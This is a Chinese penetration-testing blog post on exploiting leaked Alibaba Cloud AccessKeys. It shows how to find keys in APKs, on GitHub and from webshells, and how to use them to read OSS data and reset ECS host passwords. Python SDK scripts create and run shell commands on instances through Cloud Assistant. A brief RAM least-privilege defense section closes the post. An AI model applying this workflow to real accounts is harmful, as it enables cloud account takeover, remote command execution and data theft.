1. 首页
  2. 渗透测试

云安全-AccessKey渗透中的利用

云安全-AccessKey渗透中的利用

内容不太适合以公开的形式发布, 做项目时候发现AWS与某云OSS的AccessKey,然后去某云官网看文档发现很多有意思的东西。

文章整体结构:

  • 渗透场景
  • 云术语了解
  • 创建一个OSS
  • 访问控制了解
    • Access Key身份验证了解
    • OSS三种连接方式
  • 实际案例
  • OpenAPI Explorer调用执行ECS命令
  • 如何防护
    • RAM用户

渗透场景

  • APK文件中存放Access Key;
  • Github查找目标关键字发现Access Key与AccessKey Secret;
  • 拥有WebShell低权限的情况下搜集阿里云Access Key利用;

云术语概述

RDS

  • 关系型数据库服务(Relational Database Service,简称 RDS)是一种稳定可靠、可弹性伸缩的在线数据库服务。
  • RDS 采用即开即用方式,兼容 MySQL、 SQL Server 两种关系型数据库,并提供数据库在线扩容、备份回滚、性能监测 及分析功能。
  • RDS 与云服务器搭配使用 I/O 性能倍增,内网互通避免网络瓶颈。

对象存储 OSS(理解为网盘)

  • 对象存储(Object Storage Service),是阿里云对外提供的海量、安全和高可靠的云存储服务。
  • RESTFul API 的平台无关性,容量和处理能力的弹性扩展,按实际容量付费真正使您专注于核心业务。

ODPS

  • Open Data Processing Service,是基于阿里云完全自主知识产权的云计 算平台构建的数据存储与分析的平台。
  • ODPS 提供大规模数据存储与数据分析, 用户可以使用 ODPS 平台上提供的数据模型工具与服务,同时也支持用户自己发布数据分析工具。

ECS

  • 云服务器(Elastic Compute Service,简称ECS)

安全组

  • 安全组是一种虚拟防火墙,具备状态检测和数据包过滤功能,用于在云端划分安全域。
  • 同一安全组内的ECS实例之间默认内网网络互通。

购买开通,创建Bucket(存储空间): 取名为狗子的OSS

云安全-AccessKey渗透中的利用
云安全-AccessKey渗透中的利用

OSS外网地址由:https://[Bucket名称].oss-区域.aliyuns.com 组成 guizideoss.oss-cn-beijing.aliyuncs.com 在渗透期间看到这段地址或者在配置文件中多留意一下。

访问控制

  • 对 OSS 的资源访问分为拥有者访问、第三方用户访问。这里的拥有者指的是 Bucket 的拥有者,也称为开发者。
  • 第三方用户是指访问 Bucket 里资源的用 户。 访问又分为匿名访问和带签名访问。
  • 对于 OSS 来说,如果请求中没有携带 任何和身份相关的信息即为匿名访问。
    • 带签名访问指的是按照 OSS API 文档中 规定的在请求头部或者在请求 URL 中携带签名的相关信息。
    • OSS 提供 Bucket 和 Object 的权限访问控制。
云安全-AccessKey渗透中的利用

Access Key身份验证

  • 阿里云用户可以在管理控制台里自行创建 Access Key,Access Key是由AccessKey ID 和 AccessKey Secret 组成。
    • 其中 ID 是公开的,用于标识用户身份,Secret 是秘密的,用于用户鉴别。
  • 当用户向 OSS 发送请求时,需要首先将发送的请求按照 OSS 指定的格式生成签名字符串;
    • 然后使用 AccessKey Secret 对签名字符串进行加密(基于HMAC 算法)产生验证码。
    • 验证码带时间戳,以防止重放攻击。
    • OSS 收到请求以后,通过 AccessKey ID 找到对应的 AccessKey Secret,以同样的方法提取签名字符串和验证码,如果计算出来的验证码和提供的一样即认为该请求是有效的;否则,OSS 将拒绝处理这次请求,并返回 HTTP 403 错误。

三种方式来连接:

  • OSS Browser
  • OSSUTIL
  • API Explorer
  • 第三方平台

实际案例:在gayhub、pornhub查找关键词(懂的自然懂,为了不让零基础的人乱搞)

云安全-AccessKey渗透中的利用

使用行云管家直接导入:

云安全-AccessKey渗透中的利用

获取OSS数据:

云安全-AccessKey渗透中的利用

获取ECS主机。

云安全-AccessKey渗透中的利用

可直接获取阿里云主机进行重置密码等操作:

云安全-AccessKey渗透中的利用
云安全-AccessKey渗透中的利用

OpenAPI Explorer调用:

[wshop_paid post_id=”1057″ show_buy_btn=”true”]

在线API调用操作:https://api.aliyun.com/#/?product=Ecs&api=DescribeRegions 可写完后直接调试.

云安全-AccessKey渗透中的利用

或CloudShell调试:

云安全-AccessKey渗透中的利用
云安全-AccessKey渗透中的利用

如想在本地执行Python代码,安装:

pip install oss2
pip install aliyun-python-sdk-ecs

查询一台或多台ECS实例的详细信息,DescribeInstances.py: 其中RegionId必填,地域ID,可以调用DescribeRegions查看最新的阿里云地域列表。

#!/usr/bin/env python
#coding=utf-8

from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest

client = AcsClient(‘LTAccccccWCNnl', 'bxwgOMs0ccccccccccd740CD1e'c 'cn-hangzhou')

request = DescribeInstancesRequest()
request.set_accept_format('json')

response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
https://help.aliyun.com/document_detail/25506.html?spm=a2c4g.11186623.4.6.2b661f3cGRL5y3
云安全-AccessKey渗透中的利用
{
    "PageNumber": 1,
    "TotalCount": 1,
    "PageSize": 10,
    "RequestId": “7863cccc-8c28-4c28-Bc2E-F88ccDA03F05",
    "Instances": {
        "Instance": [{
            "ImageId": "centos_7_04_64_20G_alibase_201701015.vhd",
            "VlanId": "",
            "EipAddress": {
                "IpAddress": "",
                "AllocationId": "",
                "InternetChargeType": ""
            },
            "ZoneId": "cn-hangzhou-e",
            "IoOptimized": true,
            "SerialNumber": "13bcc8bc-c3e7-4fc0-9ed4-68ccb2af884a",
            "Cpu": 2,
            "Memory": 4096,
            "DeviceAvailable": true,
            "SecurityGroupIds": {
                "SecurityGroupId": ["sg-bp1dr3fcsoscccelb7su"]
            },
            "SaleCycle": "",
            "AutoReleaseTime": "",
            "ResourceGroupId": "",
            "OSType": "linux",
            "OSName": "CentOS  7.4 64位",
            "InstanceNetworkType": "vpc",
            "HostName": "iZbp17jccccarinaieihc6Z",
            "CreationTime": "2017-11-01T02:32Z",
            "EcsCapacityReservationAttr": {
                "CapacityReservationPreference": "",
                "CapacityReservationId": ""
            },
            "RegionId": "cn-hangzhou",
            "DeletionProtection": false,
            "OperationLocks": {
                "LockReason": []
            },
            "ExpiredTime": "2019-11-01T16:00Z",
            "InnerIpAddress": {
                "IpAddress": []
            },
            "InstanceTypeFamily": "ecs.n1",
            "InstanceId": "i-bp17jcccccrinaieihc6",
            "NetworkInterfaces": {
                "NetworkInterface": [{
                    "MacAddress": "00:16:3e:0f:b7:2c",
                    "PrimaryIpAddress": "172.16.221.2",
                    "NetworkInterfaceId": "eni-bpcccccclysr38p1sgn"
                }]
            },
            "InternetMaxBandwidthIn": -1,
            "CreditSpecification": "",
            "InternetChargeType": "PayByTraffic",
            "SpotStrategy": "NoSpot",
            "StoppedMode": "Not-applicable",
            "InternetMaxBandwidthOut": 94,
            "VpcAttributes": {
                "NatIpAddress": "",
                "PrivateIpAddress": {
                    "IpAddress": ["172.16.221.2"]
                },
                "VSwitchId": "vsw-bp1ccccm3e0qtey5smp7e",
                "VpcId": "vpc-bpcccccbmxvociir58ez"
            },
            "SpotPriceLimit": 0.0,
            "StartTime": "2019-07-01T02:38Z",
            "InstanceName": "aly1",
            "Description": "",
            "OSNameEn": "CentOS  7.4 64 bit",
            "PublicIpAddress": {
                "IpAddress": [“120.cc.cc.160"]
            },
            "InstanceType": "ecs.n1.medium",
            "Status": "Running",
            "Recyclable": false,
            "ClusterId": "",
            "GPUSpec": "",
            "InstanceChargeType": "PrePaid",
            "GPUAmount": 0,
            "DedicatedHostAttribute": {
                "DedicatedHostId": "",
                "DedicatedHostName": ""
            },
            "DedicatedInstanceAttribute": {
                "Affinity": "",
                "Tenancy": ""
            },
            "DeploymentSetId": ""
        }]
    }
}

调用CreateCommand新建一条云助手命令,CreateCommand.py https://api.aliyun.com/#/?product=Ecs&api=CreateCommand¶ms={}&tab=DOC&lang=PYTHON
Name随便写Type类型:可以创建以下类型的命令:

  • Windows实例适用的Bat脚本(RunBatScript)
  • Windows实例适用的PowerShell脚本(RunPowerShellScript)
  • Linux实例适用的Shell脚本(RunShellScript

CommandContent该参数的值必须使用Base64编码后传输,且脚本内容的大小在Base64编码之后不能超过16KB。

云安全-AccessKey渗透中的利用
#!/usr/bin/env python
#coding=utf-8

from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequest

client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing')

request = CreateCommandRequest()
request.set_accept_format('json')

request.set_Name("test1")
request.set_Type("RunShellScript")
request.set_CommandContent("aWZjb25maWc=")

response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
{"RequestId":"94ccc19A-5870-46c5-AE9F-39ccc9A79407","CommandId":"c-79f1aeb6632ccccc3a82f40647c1c2dd7"}

命令执行情况: DescribeCommands

#!/usr/bin/env python
#coding=utf-8

from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.DescribeCommandsRequest import DescribeCommandsRequest

client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing')

request = DescribeCommandsRequest()
request.set_accept_format('json')

request.set_CommandId("c-79f1aeb6632140c3a82f40647c1c2dd7")

response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
{
    "PageNumber": 1,
    "TotalCount": 1,
    "PageSize": 10,
    "RequestId": "Dcccc8B72-27B0-4FF7-8DDB-A6Ccccc807F1",
    "Commands": {
        "Command": [{
            "CreationTime": "2019-10-12T09:14Z",
            "Name": "test1",
            "Timeout": 3600,
            "CommandContent": "aWZjb25maWc=",
            "Description": "",
            "Type": "RunShellScript",
            "EnableParameter": false,
            "ParameterNames": {
                "ParameterName": []
            },
            "CommandId": "c-79f1aeb66cccccca82f40647c1c2dd7",
            "WorkingDir": ""
        }]
    }
}

把所有API文档看了一遍,我认为会常用的:

DescribeSecurityGroups    查询您创建的安全组的基本信息,例如安全组ID和安全组描述等。返回列表按照安全组ID降序排列。
DescribeCommands          查询您已经创建的云助手命令
DescribeRegions           查询您可以使用的阿里云地域。
DescribeInstances         查询一台或多台ECS实例的详细信息。
GetInstanceConsoleOutput  获取一台实例的系统命令行输出,数据以Base64编码后返回。
DescribeSnapshotPackage   查询您在一个阿里云地域下已经购买的对象存储OSS存储包,存储包可以用于抵扣快照存储容量。
GetInstanceScreenshot     获取实例的截屏信息。
ExportImage               导出您的自定义镜像到与该自定义镜像同一地域的OSS Bucket里。
InvokeCommand             为一台或多台ECS实例触发一条云助手命令。
RunCommand                执行命令

如何防护
当获取AccessKey的时候就完全控制阿里云帐号,但是有时候获取OSS的AccessKey为什么获取不到ECS主机?
因为配置了RAM用户,使用RAM用户连接OSS。
RAM (Resource Access Management) 是阿里云为客户提供的用户身份管理与访问控制服务。

  • 使用RAM,您可以创建、管理用户账号(比如员工、系统或应用程序),并可以控制这些用户账号对您名下资源具有的操作权限。
  • 当您的企业存在多用户协同操作资源时,使用RAM可以让您避免与其他用户共享云账号密钥,按需为用户分配最小权限,从而降低您的企业信息安全风险。
    • 一个云账号下可以创建多个RAM用户,对应企业内的员工、系统或应用程序。
    • RAM用户归属于云账号,只能在所属云账号的空间下可见,而不是独立的云账号。
    • RAM用户必须在获得云账号的授权后才能登录控制台或使用API操作云账号下的资源。
云安全-AccessKey渗透中的利用

默认情况下如果没有创建RAM用户则是使用阿里云创建的用户生成的Access Key则是拥有所有管理权限的,在看文档时候发现可以通过API调用函数可以购买ECS或删除等功能.

[/wshop_paid]

原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/1057.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息